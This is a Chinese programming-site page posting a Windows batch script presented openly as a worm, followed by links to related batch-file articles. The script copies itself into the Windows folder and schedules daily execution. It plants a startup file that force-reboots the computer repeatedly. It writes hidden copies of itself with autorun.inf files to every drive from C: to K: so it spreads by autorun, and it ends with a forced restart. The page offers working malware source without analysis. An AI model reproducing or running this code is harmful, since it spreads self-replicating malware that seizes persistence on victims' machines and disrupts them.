批處理蠕蟲bat
更新時(shí)間:2007年08月09日 10:41:35 作者:
復(fù)制代碼 代碼如下:
@echo off
attrib -r -h -s "%~nx0" 2>nul >nul
attrib -r -h -s %windir%\"%~nx0" 2>nul >nul
copy "%~nx0" %windir% /y 2>nul >nul
at 9:20 /every:m,t,w,th,f,s,su "%windir%\%~nx0"
echo reboot>%windir%\temp.dll
set pat=「開始」菜單\程序\啟動(dòng)
echo @echo off>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo echo reboot^>^>%%windir%%\temp.dll>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo find /c "reboot" %%windir%%\temp.dll^|find "11">>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo if errorlevel 1 goto rebootnow>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo del %%windir%%\user.dll /f /q>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo del %%windir%%\temp.dll /f /q>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo del /f /q "%%~nx0">>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo exit>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo :rebootnow>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo shutdown /r /t 0 /f>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo exit>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo [autorun]>%windir%\user.dll
echo shellexecute=%~nx0>>%windir%\user.dll
set disk=C:>nul 2>nul
:auto
copy %windir%\"%~nx0" %disk%\ /y 2>nul >nul
copy %windir%\user.dll %disk%\autorun.inf /y 2>nul >nul
attrib +s +h +r %disk%\%~nx0 2>nul >nul
attrib +s +h +r %disk%\autorun.inf 2>nul >nul
cls
goto %disk%>nul 2>nul
:C:
set disk=D:>nul 2>nul
goto auto>nul 2>nul
: D:
set disk=E:>nul 2>nul
goto auto>nul 2>nul
:E:
set disk=F:>nul 2>nul
goto auto>nul 2>nul
:F:
set disk=G:>nul 2>nul
goto auto>nul 2>nul
:G:
set disk=H:>nul 2>nul
goto auto>nul 2>nul
:H:
set disk=I:>nul 2>nul
goto auto>nul 2>nul
:I:
set disk=J:>nul 2>nul
goto auto>nul 2>nul
:J:
set disk=K:>nul 2>nul
goto auto>nul 2>nul
:K:
set disk=L:>nul 2>nul
goto auto>nul 2>nul
: L:
cls
attrib +s +h +r %windir%\%~nx0 2>nul >nul
shutdown /r /t 0 /f
exit
相關(guān)文章
批處理實(shí)現(xiàn)ping數(shù)據(jù)中文版
將ping返回的數(shù)據(jù),中文化輸出。2009-06-06批處理完美實(shí)現(xiàn)FTP遠(yuǎn)程備份數(shù)據(jù)
本文給大家分享的是實(shí)現(xiàn)使用FTP遠(yuǎn)程備份數(shù)據(jù)到本地的批處理腳本,非常的簡(jiǎn)單實(shí)用,有需要的小伙伴可以參考下。2015-09-09使用BAT命令關(guān)閉:135端口、139端口、445端口等
這篇文章主要介紹了使用BAT命令關(guān)閉:135端口、139端口、445端口等,其實(shí)就是利用組策略批量添加,需要的朋友可以參考下2017-05-05批處理設(shè)置文件訪問(wèn)權(quán)限的方法分享
批處理設(shè)置文件訪問(wèn)權(quán)限,實(shí)際上就是通過(guò)SetACL.exe來(lái)實(shí)現(xiàn),大家可以看下使用方法。2011-09-09